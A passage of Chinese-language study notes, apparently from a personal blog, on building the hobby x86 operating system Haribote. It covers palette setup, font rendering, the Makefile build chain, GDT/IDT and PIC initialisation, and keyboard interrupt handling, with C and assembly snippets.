所以将*(p + i)写成*(i + p) 也是<br>可以的。 同理, 将p[i]写成i[p]也是可以的(可能你会不相信, 但这样写<br>既不会出错, 也能正常运行) 。 a[2]也可以写成2[a](这当然是真<br>的) 。 难道还能说这是名为2的数组的第a个元素吗? 当然不能。 所以,<br>p[i]也好, i[p]也好, 仅仅是一种省略写法, 本质上讲, 与数组没有关<br>系。 </p></blockquote><h3 id="harib01f-色号设定"><a href="#harib01f-色号设定" class="headerlink" title="harib01f 色号设定"></a>harib01f 色号设定</h3><pre><code class="c">void set_palette(int start, int end, unsigned char *rgb){ int i, eflags; eflags = io_load_eflags(); /* 记录中断许可标志的值*/ io_cli(); /* 将中断许可标志置为0, 禁止中断 */ io_out8(0x03c8, start); for (i = start; i <= end; i++) { io_out8(0x03c9, rgb[0] / 4); io_out8(0x03c9, rgb[1] / 4); io_out8(0x03c9, rgb[2] / 4); rgb += 3; } io_store_eflags(eflags); /* 复原中断许可标志 */return;}</code></pre><p>CLI : clear interrupt flag 将中断标志置为0</p><p>STI: set interrupt flag 将中断标志置为1</p><p>读写EFLAGES 汇编指令: PUSHFD POPFD</p><pre><code class="assembly">_io_load_eflags: ; int io_load_eflags(void); PUSHFD ; 指 PUSH EFLAGS POP EAX RET_io_store_eflags: ; void io_store_eflags(int eflags); MOV EAX,[ESP+4] PUSH EAX POPFD ; 指 POP EFLAGS RET</code></pre><h2 id="20220203"><a href="#20220203" class="headerlink" title="20220203"></a>20220203</h2><h3 id="harib02b结构体"><a href="#harib02b结构体" class="headerlink" title="harib02b结构体"></a>harib02b结构体</h3><pre><code class="c">struct BOOTINFO { char cyls, leds, vmode, reserve; short scrnx, scrny; char *vram;};void HariMain(void){ char *vram; int xsize, ysize; struct BOOTINFO *binfo; init_palette(); binfo = (struct BOOTINFO *) 0x0ff0; xsize = (*binfo).scrnx; ysize = (*binfo).scrny; vram = (*binfo).vram;}</code></pre><p>BOOTINFO 结构体存储了启动信息</p><p>在HariMain中</p><p> binfo = (struct BOOTINFO *) 0x0ff0; 这一句用于获取在内存地址为0x0ff0的数据,由前文可知,该处内存存储了图形化界面的各种设置,分别对应了结构体中的各个变量。</p><p><img src="https://gitee.com/qwrdxer/img2/raw/master/image-20220310192807590.png" alt="image-20220310192807590"></p><h3 id="harib02d-显示字符"><a href="#harib02d-显示字符" class="headerlink" title="harib02d 显示字符"></a>harib02d 显示字符</h3><pre><code class="c">void putfont8(char *vram, int xsize, int x, int y, char c, char *font){ int i; char *p, d /* data */; for (i = 0; i < 16; i++) { p = vram + (y + i) * xsize + x; d = font[i]; if ((d & 0x80) != 0) { p[0] = c; } if ((d & 0x40) != 0) { p[1] = c; } if ((d & 0x20) != 0) { p[2] = c; } if ((d & 0x10) != 0) { p[3] = c; } if ((d & 0x08) != 0) { p[4] = c; } if ((d & 0x04) != 0) { p[5] = c; } if ((d & 0x02) != 0) { p[6] = c; } if ((d & 0x01) != 0) { p[7] = c; } } return;}</code></pre><p>参数中 *vram为显存地址,xsize为显示的宽度,x,y为起始坐标,c为颜色, font为要输出的字符数组。</p><h3 id="harib02e-增加字体"><a href="#harib02e-增加字体" class="headerlink" title="harib02e 增加字体"></a>harib02e 增加字体</h3><p>hankaku.txt为一个记录字符的文件</p><p>其用8x16个. 和 * 记录了一些常用字符(256个),类似如下</p><pre><code class="shell">char 0x03.................................**.**..*******.*******.*******..*****....***......*............................................</code></pre><p>使用工具makefont.exe,将其中的.和*转换成0和1 ,即用1byte代表一行,如下图所示,每一行都代表一个字符</p><p><img src="https://gitee.com/qwrdxer/img2/raw/master/image-20220203134146849.png" alt="image-20220203134146849"></p><p>现在这个文件仅仅是二进制文件,还不能供bootpack.obj使用,还要加上连接所必须的接口信息,将他变成目标文件</p><p>$(BIN2OBJ) hankaku.bin hankaku.obj _hankaku</p><p>类似于将如下两行程序转成汇编</p><p>_hankanku:<br> DB 各种数据(共4096字节) </p><p>C语言中要导入源程序以外准备的数据,都需要加上extern属性</p><p>extern char hankaku[4096];</p><p>这样, C编译器就能够知道它是外部数据, 并在编译时做出相应调整。</p><p>生成二进制映像文件</p><p>bootpack.bim : bootpack.obj naskfunc.obj hankaku.obj Makefile</p><p> $(OBJ2BIM) @$(RULEFILE) out:bootpack.bim stack:3136k map:bootpack.map \</p><p> bootpack.obj naskfunc.obj hankaku.obj</p><p>转成hrb</p><p>bootpack.hrb : bootpack.bim Makefile</p><p> $(BIM2HRB) bootpack.bim bootpack.hrb 0</p><p>加上头</p><p>haribote.sys : asmhead.bin bootpack.hrb Makefile</p><p> copy /B asmhead.bin+bootpack.hrb haribote.sys</p><p>制作img文件(引入启动区程序)</p><p>haribote.img : ipl10.bin haribote.sys Makefile</p><p> $(EDIMG) imgin:../z_tools/fdimg0at.tek \</p><p> wbinimg src:ipl10.bin len:512 from:0 to:0 \</p><p> copy from:haribote.sys to:@: \</p><p> imgout:haribote.img</p><h3 id="harib02f-显示字符串"><a href="#harib02f-显示字符串" class="headerlink" title="harib02f 显示字符串"></a>harib02f 显示字符串</h3><pre><code class="c">void putfonts8_asc(char *vram, int xsize, int x, int y, char c, unsigned char *s){ extern char hankaku[4096]; for (; *s != 0x00; s++) { putfont8(vram, xsize, x, y, c, hankaku + *s * 16); x += 8; } return;}</code></pre><p>s为字符串指针,字符串以0x00作为结束</p><h3 id="harib02h-显示鼠标指针"><a href="#harib02h-显示鼠标指针" class="headerlink" title="harib02h 显示鼠标指针"></a>harib02h 显示鼠标指针</h3><blockquote><p>绘制鼠标的函数</p></blockquote><pre><code class="c">void putblock8_8(char *vram, int vxsize, int pxsize,int pysize, int px0, int py0, char *buf, int bxsize){ int x, y; for (y = 0; y < pysize; y++) { for (x = 0; x < pxsize; x++) { vram[(py0 + y) * vxsize + (px0 + x)] = buf[y * bxsize + x]; } } return;}</code></pre><p>vxsize为320 ,pxsize 、pysize为要绘制图形的大小, px0 ,py0为图形的起始坐标 buf存储鼠标数据 ,bxsize类似pxsize</p><h2 id="20220309"><a href="#20220309" class="headerlink" title="20220309"></a>20220309</h2><p>.c C语言文件 -> 汇编文件 -> 机器语言目标文件 -> 链接</p><p>ipl10.nas 启动区文件,用于加载操作系统到内存中。</p><p>naskfunc.nas ,asmhead.nas 这两个用于存储汇编代码</p><p>bootpack.c C语言函数</p><h2 id="20220310"><a href="#20220310" class="headerlink" title="20220310"></a>20220310</h2><h3 id="makefile阅读,从下往上看"><a href="#makefile阅读,从下往上看" class="headerlink" title="makefile阅读,从下往上看"></a>makefile阅读,从下往上看</h3><p><img src="https://gitee.com/qwrdxer/img2/raw/master/image-20220310203953026.png" alt="image-20220310203953026"></p><p><a href="https://blog.csdn.net/choutou1011/article/details/100747819">https://blog.csdn.net/choutou1011/article/details/100747819</a></p><blockquote><p>haribote.img</p></blockquote><pre><code class="makefile">haribote.img : ipl10.bin haribote.sys Makefile $(EDIMG) imgin:../z_tools/fdimg0at.tek \ wbinimg src:ipl10.bin len:512 from:0 to:0 \ copy from:haribote.sys to:@: \ imgout:haribote.img</code></pre><p>这是制作镜像文件的最后一步,</p><ol><li><p>输入为 ipl10.bin haribote.sys</p></li><li><p>输出为 haribote.img</p></li><li><p>edimg.exe: 这个是软盘镜像制作工具。</p></li><li><p>wbinimg 写入启动扇区的命令</p></li><li><p>imgin 读取指定的文件作为磁盘映像。</p></li><li><p>copy 将文件和文件名写入系统中</p></li></ol><blockquote><p>fdimg0at.tek</p></blockquote><p><img src="https://gitee.com/qwrdxer/img2/raw/master/image-20220310204218030.png" alt="image-20220310204218030"></p><blockquote><p>ipl10.bin</p></blockquote><p>启动区文件, 通过ipl10.nas制作,操作系统会首先运行该处的代码,此处代码主要是加载后续扇区到内存中。</p><p>扇区中有代码文件,书中将扇区加载到以0x8000作为起始的内存中。</p><p>源码文件起始于img中 0x4200的位置</p><p>因此,当将扇区加载完成后,使用JMP 0xc200 跳转到源码文件的起始位置,操作系统开始执行。</p><blockquote><p>haribote.sys</p></blockquote><p>源码文件,书中的代码有汇编、有C语言,需要先将其整合在一起</p><pre><code class="makef">haribote.sys : asmhead.bin bootpack.hrb Makefile copy /B asmhead.bin+bootpack.hrb haribote.sys</code></pre><p>asmhead.bin 通过目前章节只知道代码可以调用C语言程序</p><blockquote><p>bootpack.hrb</p></blockquote><p>由bootpack.bim制作而成</p><pre><code class="makefile">bootpack.hrb : bootpack.bim Makefile $(BIM2HRB) bootpack.bim bootpack.hrb 0</code></pre><blockquote><p>bootpack.bim</p></blockquote><pre><code class="makefile">bootpack.bim : bootpack.obj naskfunc.obj hankaku.obj Makefile $(OBJ2BIM) @$(RULEFILE) out:bootpack.bim stack:3136k map:bootpack.map \ bootpack.obj naskfunc.obj hankaku.obj</code></pre><p>obj2bim 将目标文件合成为bim文件</p><blockquote><p>hakaku</p></blockquote><p>hankaku.bin : hankaku.txt Makefile</p><p> $(MAKEFONT) hankaku.txt hankaku.bin</p><p>hankaku.obj : hankaku.bin Makefile</p><p> $(BIN2OBJ) hankaku.bin hankaku.obj _hankaku</p><h2 id="20220311"><a href="#20220311" class="headerlink" title="20220311"></a>20220311</h2><h3 id="harib02i-GDT和IDT的初始化"><a href="#harib02i-GDT和IDT的初始化" class="headerlink" title="harib02i GDT和IDT的初始化"></a>harib02i GDT和IDT的初始化</h3><blockquote><p>分段 segmentation</p></blockquote><p>按照自己喜欢的方式, 将合计4GB的内存分成很多块(block) , 每一块的起始地址都看作来0处理。</p><p> 为了了表示一个段, 需要有以下信息。</p><ol><li>段的大小是多少</li><li>段的起始地址在哪里</li><li>段的管理属性(禁止写入, 禁止执行, 系统专用等) </li></ol><blockquote><p>段号(segment selector 段选择符) 与GDT(global (segment) descriptor table 全局段号记录表)</p></blockquote><p>CPU需要用8个字节存储这些信息,但段寄存器只有16位(由于CPU设计的原因,低三位不能使用),因此段寄存器只能存储段号, 再由段号映射到存在内存中的GDT(global (segment) descriptor table,全局段号记录表),读取段的信息。</p><p>段寄存器有16位,三位不能使用,所以段号范围为0~8191即可以定义8192个段,每个段需要8字节来定义,一共需要64kb 即GDT大小为64KB</p><blockquote><p>IDT (interrupt descriptor table 中断记录表)</p></blockquote><p>当CPU遇到外部状况变化, 或者是内部偶然发生某些错误时, 会临时切换过去处理这种突发事件。 这就是中断功能 。</p><p>各个设备有变化时就产生中断, 中断发生后, CPU暂时停止正在处理的任务, 并做好接下来能够继续处理的准备, 转而执行中断程序。 中断程序执行完以后, 再调用事先设定好的函数, 返回处理中的任务。 正是得益于中断机制, CPU可以不用一直查询键盘, 鼠标, 网卡等设备的状态, 将精力集中在处理任务上。</p><p>IDT,Interrupt Descriptor Table,即中断描述符表,和GDT类似,他记录了0~255的中断号和调用函数之间的关系。</p><p> <img src="https://gitee.com/qwrdxer/img2/raw/master/image-20220311100906242.png" alt="image-20220311100906242"></p><p>关于IDT和GDT的详细介绍</p><p><a href="https://blog.csdn.net/ice__snow/article/details/50654629">https://blog.csdn.net/ice__snow/article/details/50654629</a></p><p><a href="https://blog.csdn.net/cwcmcw/article/details/21640363">https://blog.csdn.net/cwcmcw/article/details/21640363</a></p><p>GDT可以被放在内存的任何位置,那么当程序员通过段寄存器来引用一个段描述符时,CPU必须知道GDT的入口,也就是基地址放在哪里,所以Intel的设计者门提供了一个寄存器GDTR用来存放GDT的入口地址,程序员将GDT设定在内存中某个位置之后,可以通过LGDT指令将GDT的入口地址装入此寄存器,从此以后,CPU就根据此寄存器中的内容作为GDT的入口来访问GDT了。</p><blockquote><p>新增代码</p></blockquote><p>char *p; /<em>用于BYTE类地址</em>/<br>short *p; /<em>用于WORD类地址</em>/<br>int *p; /<em>用于DWORD类地址</em>/ </p><pre><code class="C">struct SEGMENT_DESCRIPTOR{ short limit_low, base_low; char base_mid, access_right; char limit_high, base_high;}; //存放GDT每个段的8字节信息2+2+1+1+1+1struct GATE_DESCRIPTOR { short offset_low, selector; char dw_count, access_right;short offset_high;}; //存放IDT信息void init_gdtidt(void)//GDT初始化{ struct SEGMENT_DESCRIPTOR *gdt = (struct SEGMENT_DESCRIPTOR *) 0x00270000; struct GATE_DESCRIPTOR *idt = (struct GATE_DESCRIPTOR *) 0x0026f800; int i; /* GDT的初始化 GDT里面的值都为0 */ for (i = 0; i < 8192; i++) { set_segmdesc(gdt + i, 0, 0, 0); } /* 程序使用了两个段 */ set_segmdesc(gdt + 1, 0xffffffff, 0x00000000, 0x4092); set_segmdesc(gdt + 2, 0x0007ffff, 0x00280000, 0x409a); load_gdtr(0xffff, 0x00270000); /* IDT的初始化 */ for (i = 0; i < 256; i++) { set_gatedesc(idt + i, 0, 0, 0); } load_idtr(0x7ff, 0x0026f800); return;} void set_segmdesc(struct SEGMENT_DESCRIPTOR *sd, unsigned int limit, int base,int ar){ if (limit > 0xfffff) { ar |= 0x8000; /* G_bit = 1 */ limit /= 0x1000; } sd->limit_low = limit & 0xffff; sd->base_low = base & 0xffff; sd->base_mid = (base >> 16) & 0xff; sd->access_right = ar & 0xff; sd->limit_high = ((limit >> 16) & 0x0f) | ((ar >> 8) & 0xf0); sd->base_high = (base >> 24) & 0xff; return;} void set_gatedesc(struct GATE_DESCRIPTOR *gd, int offset, int selector, int ar){ gd->offset_low = offset & 0xffff; gd->selector = selector; gd->dw_count = (ar >> 8) & 0xff; gd->access_right = ar & 0xff; gd->offset_high = (offset >> 16) & 0xffff; return;}</code></pre><p> 也就是说将0x270000~0x27ffff 设为GDT</p><p>struct SEGMENT_DESCRIPTOR *gdt = (struct SEGMENT_DESCRIPTOR *) 0x00270000;</p><p>将0x26f800~0x27ffff设为IDT</p><p> struct GATE_DESCRIPTOR *idt = (struct GATE_DESCRIPTOR *) 0x0026f800; </p><p>将所有段的上限(limit, 指段的字节数-1) 、 基址(base) 、 访问权限都设为0 </p><p>for (i = 0; i < 8192; i++) {<br> set_segmdesc(gdt + i, 0, 0, 0);<br>} </p><p>段号为0 的段,上限值为0xffffffff(4GB)、 地址为0,标识CPU所能管理的内存本身,段属性为0x4092</p><p>set_segmdesc(gdt + 1, 0xffffffff, 0x00000000, 0x4092);</p><p>段号为1 的段,上限值为0x0007ffff(521KB)、 地址为0x00280000,标识CPU所能管理的内存本身,</p><p>这正好是为bootpack.hrb而准备的(具体可以查看后面介绍的asmhead.nas)。 用这个段, 就可以执行bootpack.hrb。 因为bootpack.hrb是以ORG 0为前提翻译成的机器语言。 </p><p>set_segmdesc(gdt + 2, 0x0007ffff, 0x00280000, 0x409a) </p><h3 id="harib03a-分割文件"><a href="#harib03a-分割文件" class="headerlink" title="harib03a 分割文件"></a>harib03a 分割文件</h3><p>makefile优化</p><pre><code class="makefile">bootpack.gas : bootpack.c Makefile$(CC1) -o bootpack.gas bootpack.cgraphic.gas : graphic.c Makefile$(CC1) -o graphic.gas graphic.cdsctbl.gas : dsctbl.c Makefile$(CC1) -o dsctbl.gas dsctbl.c或者像这样:bootpack.nas : bootpack.gas Makefile$(GAS2NASK) bootpack.gas bootpack.nasgraphic.nas : graphic.gas Makefile$(GAS2NASK) graphic.gas graphic.nasdsctbl.nas : dsctbl.gas Makefile$(GAS2NASK) dsctbl.gas dsctbl.nas</code></pre><p>可以使用下面规则来取代</p><pre><code class="makefile">%.gas : %.c Makefile$(CC1) -o $*.gas $*.c%.nas : %.gas Makefile$(GAS2NASK) $*.gas $*.nas</code></pre><p>而且不用考虑冲突问题,makefilemake.exe会首先寻找普通的生成规则, 如果没找到, 就尝试用一般规则。</p><blockquote><p>LGDT</p></blockquote><p>GDT可以被放在内存的任何位置,那么当程序员通过段寄存器来引用一个段描述符时,CPU必须知道GDT的入口,也就是基地址放在哪里,所以Intel的设计者门提供了一个寄存器GDTR用来存放GDT的入口地址,程序员将GDT设定在内存中某个位置之后,可以通过LGDT指令将GDT的入口地址装入此寄存器,从此以后,CPU就根据此寄存器中的内容作为GDT的入口来访问GDT了。</p><pre><code class="assembly">_load_gdtr: ; void load_gdtr(int limit, int addr);MOV AX,[ESP+4] ; limitMOV [ESP+6],AXLGDT [ESP+6]RET</code></pre><p>GDTR 这一特殊的寄存器为48位, 不能通过mov直接赋值。而是通过LGDT 指令,将指定地址处6个字节读入寄存器中。</p><p>该寄存器低16位为段上限,它等于“GDT的有效字节数 - 1”。 </p><p>剩下32位为GDT在内存中的开始地址。</p><p>在最初执行这个函数的时候, DWORD[ESP + 4]里存放的是段上限,DWORD[ESP+8]里存放的是地址。 </p><p>load_gdtr(0xffff, 0x00270000);</p><p>在内存分布为[ff ff 00 00 00 00 27 00]</p><p>而我们想要读取的是六个字节 ,即 [ff ff 00 00 27 00]</p><p>在该函数中,首先 向AX 存储[ ff ff ]</p><p>然后将其存入ESP+6处,此时内存分布为 [ff ff ff ff 00 00 27 00]</p><p>此时从ESP+6读取,正好为[ff ff 00 00 27 00]</p><h3 id="填写段信息set-segmdesc"><a href="#填写段信息set-segmdesc" class="headerlink" title="填写段信息set_segmdesc"></a>填写段信息set_segmdesc</h3><pre><code class="c">struct SEGMENT_DESCRIPTOR { short limit_low, base_low; char base_mid, access_right; char limit_high, base_high;};void set_segmdesc(struct SEGMENT_DESCRIPTOR *sd, unsigned int limit, int base,int ar){ if (limit > 0xfffff) { ar |= 0x8000; /* G_bit = 1 */ limit /= 0x1000; } sd->limit_low = limit & 0xffff; sd->base_low = base & 0xffff; sd->base_mid = (base >> 16) & 0xff; sd->access_right = ar & 0xff; sd->limit_high = ((limit >> 16) & 0x0f) | ((ar >> 8) & 0xf0); sd->base_high = (base >> 24) & 0xff; return;}</code></pre><p>这个函数是按照CPU的规格要求, 将段的信息归结成8个字节写入内存的。 </p><p>注: limit_high 高四位用于存储段信息,因此段上限可使用的位数为20位</p><p><img src="https://gitee.com/qwrdxer/img2/raw/master/image-20220311122742449.png" alt="image-20220311122742449"></p><p>包含如下信息</p><ul><li>段的起始位置 (base)</li><li>段的大小(limit)</li><li>段的管理属性(禁止写入, 禁止执行, 系统专用等) (ar)</li></ul><h3 id="基址base"><a href="#基址base" class="headerlink" title="基址base"></a>基址base</h3><p>基址在结构中分成了三部分,共32位</p><p>为什么要分为3段呢? 主要是为了与80286时代的程序兼容。 有了这样的<br>规格, 80286用的操作系统, 也可以不用修改就在386以后的CPU上运行<br>了 </p><h3 id="段上限limit"><a href="#段上限limit" class="headerlink" title="段上限limit"></a>段上限limit</h3><p>表示一个段有多少个字节,但在32位系统中,段上限最大是4GB,是一个32位的数字。</p><p>然而在结构体中,存储段上限的仅有20位,最大上限也只能是1mb</p><p>在这里英特尔的叔叔们又想了一个办法, 他们在段的属性里设了一个标志位, 叫做Gbit。 这个标志位是1的时候, limit的单位不解释成字节(byte) , 而解释成页(page) 。 页是什么呢? 在电脑的<br>CPU里, 1页是指4KB。 </p><p> </p><h3 id="段属性"><a href="#段属性" class="headerlink" title="段属性"></a>段属性</h3><p>12位,段属性又称为“段的访问权属性”, 在程序中用变量名access_right或ar来表示。 因为12位段属性中的高4位放在limit_high的高4位里, 所以程序里有意把ar当作如下的16位构成来处理:<br>xxxx0000xxxxxxxx(其中x是0或1) </p><p>ar的高4位被称为“扩展访问权”。 </p><p>由“GD00”构成的, 其中G是指刚才所说的G bit, D是指段的模式, 1是指32位模式, 0是指16位模式 </p><p>ar的低四位</p><p>00000000(0x00) : 未使用的记录表(descriptor table) 。<br>10010010(0x92) : 系统专用, 可读写的段。 不可执行。<br>10011010(0x9a) : 系统专用, 可执行的段。 可读不可写。<br>11110010(0xf2) : 应用程序用, 可读写的段。 不可执行。<br>11111010(0xfa) : 应用程序用, 可执行的段。 可读不可写。 </p><p>在32位模式下, CPU有系统模式(也称为“ring0”3) 和应用模式(也称为“ring3”) 之分。 操作系统等“管理用”的程序, 和应用程序等“被管理”的程序, 运行时的模式是不同的。 </p><p>CPU到底是处于系统模式还是应用模式, 取决于执行中的应用程序是位<br>于访问权为0x9a的段, 还是位于访问权为0xfa的段。 </p><h3 id="初始化PIC-harib03d"><a href="#初始化PIC-harib03d" class="headerlink" title="初始化PIC(harib03d)"></a>初始化PIC(harib03d)</h3><p>PIC programmable interrupt controller 可编程中断控制器。</p><p>PIC是将8个中断信号1集合成一个中断信号的装置。 PIC监视着输入管脚的8个中断信号, 只要有一个中断信号进来, 就将唯一的输出管脚信号变成ON, 并通知给CPU </p><p>IBM的大叔们想要通过增加PIC来处理更多的中断信号, 他们认为电脑会有8个以上的外部设备, 所以就把中断信号设计成了15个, 并为此增设了2个PIC。 </p><p><img src="https://gitee.com/qwrdxer/img2/raw/master/image-20220311144508369.png" alt="image-20220311144508369"></p><p>中断请求,interrupt request, 缩写为IRQ。 </p><pre><code class="c">int.c的主要组成部分void init_pic(void)/* PIC的初始化 */{ io_out8(PIC0_IMR, 0xff ); /* 禁止所有中断 */ io_out8(PIC1_IMR, 0xff ); /* 禁止所有中断 */ io_out8(PIC0_ICW1, 0x11 ); /* 边沿触发模式(edge trigger mode) */ io_out8(PIC0_ICW2, 0x20 ); /* IRQ0-7由INT20-27接收 */ io_out8(PIC0_ICW3, 1 << 2); /* PIC1由IRQ2连接 */ io_out8(PIC0_ICW4, 0x01 ); /* 无缓冲区模式 */ io_out8(PIC1_ICW1, 0x11 ); /* 边沿触发模式(edge trigger mode) */ io_out8(PIC1_ICW2, 0x28 ); /* IRQ8-15由INT28-2f接收 */ io_out8(PIC1_ICW3, 2 ); /* PIC1由IRQ2连接 */ io_out8(PIC1_ICW4, 0x01 ); /* 无缓冲区模式 */ io_out8(PIC0_IMR, 0xfb ); /* 11111011 PIC1以外全部禁止 */ io_out8(PIC1_IMR, 0xff ); /* 11111111 禁止所有中断 */ return;}</code></pre><p>io_out函数用于向指定外部装置传送数据</p><p>为了区别不同的设备, 也要使用设备号码。 设备号码在英文中称为port(端口) ,这些号码并不是随意取的。</p><p>程序中的PIC0和PIC1, 分别指主PIC和从PIC。 PIC内部有很多寄存器, 用端口号码对彼此进行区别, 以决定是写入哪一个寄存器。 </p><p>具体的端口号码写在bootpack.h里, 请参考这个程序。 但是, 端口号相同的东西有很多, 可能会让人觉得混乱。 (有时候向要向一个端口写入多次数据,每次数据代表的操作不同)</p><h3 id="PIC寄存器"><a href="#PIC寄存器" class="headerlink" title="PIC寄存器"></a>PIC寄存器</h3><p>PIC 寄存器都是8位寄存器</p><blockquote><p> IMR寄存器</p></blockquote><p>IMR是“interrupt mask register”的缩写, 意思是“中断屏蔽寄存器”。 8位分别对应8路IRQ信号。 如果某一位的值是1, 则该位所对应的IRQ信号被屏蔽, PIC就忽视该路信号。 </p><blockquote><p>ICW寄存器</p></blockquote><p>ICW是“initial control word”的缩写, 意为“初始化控制数据”。 </p><p>ICW有4个, 分别编号为1~4, 共有4个字节的数据。 </p><p>ICW1和ICW4与PIC主板配线方式、 中断信号的电气特性等有关 </p><p>ICW3是有关主—从连接的设定, 对主PIC而言, 第几号IRQ与从PIC相连, 是用8位来设定的。 如果把这些位全部设为1, 那么主PIC就能驱动8个从PIC(那样的话, 最大就可能有64个IRQ) , 但我们所用的电脑并不是这样的, 所以就设定成00000100。(表示IRQ2与从PIC连接) </p><p>ICW2 决定了IRQ以哪一号中断通知CPU。 </p><p>中断发生以后, 如果CPU可以受理这个中断, CPU就会命令PIC发送2个字节的数据。 这2个字节是怎么传送的呢? CPU与PIC用IN或OUT进行数据传送时, 有数据信号线连在一起。 PIC就是利用这个信号线发送这2个字节数据的。 送过来的数据是“0xcd 0x??”这两个字节。 由于电路设计的原因, 这两个字节的数据在CPU看来, 与从内存读进来的程序是完全一样的, 所以CPU就把送过来的“0xcd 0x??”作为机器语言执行。 这恰恰就是把数据当作程序来执行的情况。 这里的0xcd就是调用BIOS时使用的那个INT指令。 我们在程序里写的“INT 0x10”, 最后就被编译成了“0xcd 0x10”。 所以, CPU上了PIC的当, 按照PIC所希望的中断号执行了INT指令。 </p><p>中断处理</p><p><a href="https://blog.csdn.net/weixin_42240667/article/details/105071373">https://blog.csdn.net/weixin_42240667/article/details/105071373</a></p><h3 id="中断处理程序"><a href="#中断处理程序" class="headerlink" title="中断处理程序"></a>中断处理程序</h3><pre><code class="c">void inthandler21(int *esp)/* 来自PS/2键盘的中断 */{struct BOOTINFO *binfo = (struct BOOTINFO *) ADR_BOOTINFO;boxfill8(binfo->vram, binfo->scrnx, COL8_000000, 0, 0, 32 * 8 - 1, 15);putfonts8_asc(binfo->vram, binfo->scrnx, 0, 0, COL8_FFFFFF, "INT 21 (IRQ-1) :PS/2 keyboard");for (;;) {io_hlt();}}</code></pre><p>中断处理完成之后, 不能执行“return;”(=RET指令) , 而是必须执行IRETD指令 </p><p>这里使用汇编实现</p><pre><code class="assembly">EXTERN _inthandler21, _inthandler2c_asm_inthandler21: PUSH ES PUSH DS PUSHAD MOV EAX,ESP PUSH EAX MOV AX,SS MOV DS,AX MOV ES,AX CALL _inthandler21 POP EAX POPAD POP DS POP ES IRETD</code></pre><p>这个函数只是将寄存器的值保存到栈里, 然后将DS和ES调整到与SS相等, 再调用_inthandler21, 返回以后, 将所有寄存器的值再返回到原来的值, 然后执行IRETD。 内容就这些。 如此小心翼翼地保存寄存器的值, 其原因在于, 中断处理发生在函数处理的途中, 通过IREDT从中断处理返回以后, 如果寄存器的值乱了, 函数就无法正常处理下去了, 所以一定要想尽办法让寄存器的值返回到中断处理前的状态。 </p><p>PUSHAD, 它相当于:<br>PUSH EAX<br>PUSH ECX<br>PUSH EDX<br>PUSH EBX<br>PUSH ESP<br>PUSH EBP<br>PUSH ESI<br>PUSH EDI<br>反过来, POPAD指令相当于按以上相反的顺序, 把它们全都POP出来 </p><blockquote><p> RET和IRET</p></blockquote><p> RET 子程序的返回指令</p><p>iret interrupt return 中断返回指令</p><p>函数中的数字以INT 0x20<del>0x2f接收中断信号IRQ0</del>15而设定的。 (INT 0x00~0x1f不能用于IRQ )</p><h3 id="将中断处理程序注册到IDT中"><a href="#将中断处理程序注册到IDT中" class="headerlink" title="将中断处理程序注册到IDT中"></a>将中断处理程序注册到IDT中</h3><p>在dsctbl.c的init_gdtidt里加入以下语句 </p><pre><code class="c">/* IDT的设定 */set_gatedesc(idt + 0x21, (int) asm_inthandler21, 2 * 8, AR_INTGATE32);set_gatedesc(idt + 0x2c, (int) asm_inthandler2c, 2 * 8, AR_INTGATE32);</code></pre><p>asm_inthandler21注册在idt的第0x21号。 这样, 如果发生中断了, CPU就会自动调用asm_inthandler21。 这里的2 * 8表示的是asm_inthandler21属于哪一个段, 即段号是2, 乘以8是因为低3位有着别的意思, 这里低3位必须是0。</p><p>CLI汇编指令全称为Clear Interupt,该指令的作用是禁止中断发生,在CLI起效之后,所有外部中断都被屏蔽,这样可以保证当前运行的代码不被打断,起到保护代码运行的作用。</p><p>STI汇编指令全称为Set Interupt,该指令的作用是允许中断发生,在STI起效之后,所有外部中断都被恢复,这样可以打破被保护代码的运行,允许硬件中断转而处理中断的作用。</p><h2 id="20220318"><a href="#20220318" class="headerlink" title="20220318"></a>20220318</h2><h3 id="获取键盘按键信息harib04a"><a href="#获取键盘按键信息harib04a" class="headerlink" title="获取键盘按键信息harib04a"></a>获取键盘按键信息harib04a</h3><pre><code class="c">#define PORT_KEYDAT 0x0060void inthandler21(int *esp){ struct BOOTINFO *binfo = (struct BOOTINFO *) ADR_BOOTINFO; unsigned char data, s[4]; io_out8(PIC0_OCW2, 0x61); /* 通知PIC"IRQ-01已经受理完毕" */ data = io_in8(PORT_KEYDAT); sprintf(s, "%02X", data); boxfill8(binfo->vram, binfo->scrnx, COL8_008484, 0, 16, 15, 31); putfonts8_asc(binfo->vram, binfo->scrnx, 0, 16, COL8_FFFFFF, s); return;}</code></pre><p>通知中断已完成: 将“0x60+IRQ号码”输出给OCW2</p><ol><li>通知PIC”IRQ-01已经受理完毕</li><li>PIC继续时刻监视IRQ1中断是否发生。 </li><li>0x0060 设备为键盘设备,从中读取8bit数据</li><li>键盘的按下和松开都会产生中断</li></ol><h3 id="加快中断处理(hiarib04b)"><a href="#加快中断处理(hiarib04b)" class="headerlink" title="加快中断处理(hiarib04b)"></a>加快中断处理(hiarib04b)</h3><p>字符显示的内容被放在了中断处理程序中。 中断处理进行期间, 不再接受别的中断。 所以如果处理键盘的中断速度太慢, 就会出现鼠标的运动不连贯、不能从网上接收数据等情况, 这都是我们不希望看到的。 </p><p>解决方法</p><blockquote><p>中断处理程序中,只对中断以及数据进行记录,如果有中断,该程序只存储该数据,并将flag置为1</p></blockquote><pre><code class="c">struct KEYBUF {unsigned char data, flag;};#define PORT_KEYDAT 0x0060struct KEYBUF keybuf;void inthandler21(int *esp){unsigned char data;io_out8(PIC0_OCW2, 0x61); /* 通知PIC IRQ-01已经受理完毕 */data = io_in8(PORT_KEYDAT);if (keybuf.flag == 0) {keybuf.data = data;keybuf.flag = 1;}return;}</code></pre><blockquote><p>主程序只要偶尔检测flag的值,如果为1,则进行进一步键盘处理</p></blockquote><pre><code class="c">for (;;) { io_cli(); //先关中断 if (keybuf.flag == 0) {//没有键盘按下 io_stihlt();//连续指定STI 和HLT } else { i = keybuf.data; keybuf.flag = 0; io_sti();//获取完数据后打开中断。 sprintf(s, "%02X", i); boxfill8(binfo->vram, binfo->scrnx, COL8_008484, 0, 16, 15, 31); putfonts8_asc(binfo->vram, binfo->scrnx, 0, 16, COL8_FFFFFF, s); }}</code></pre><p>HLT; 使CPU进入等待状态</p><p>CLI汇编指令全称为Clear Interupt,该指令的作用是禁止中断发生,在CLI起效之后,所有外部中断都被屏蔽,这样可以保证当前运行的代码不被打断,起到保护代码运行的作用。</p><p>STI汇编指令全称为Set Interupt,该指令的作用是允许中断发生,在STI起效之后,所有外部中断都被恢复,这样可以打破被保护代码的运行,允许硬件中断转而处理中断的作用。</p><p><strong>根据CPU的规范, 机器语言的STI指令之后, 如果紧跟着HLT指令, 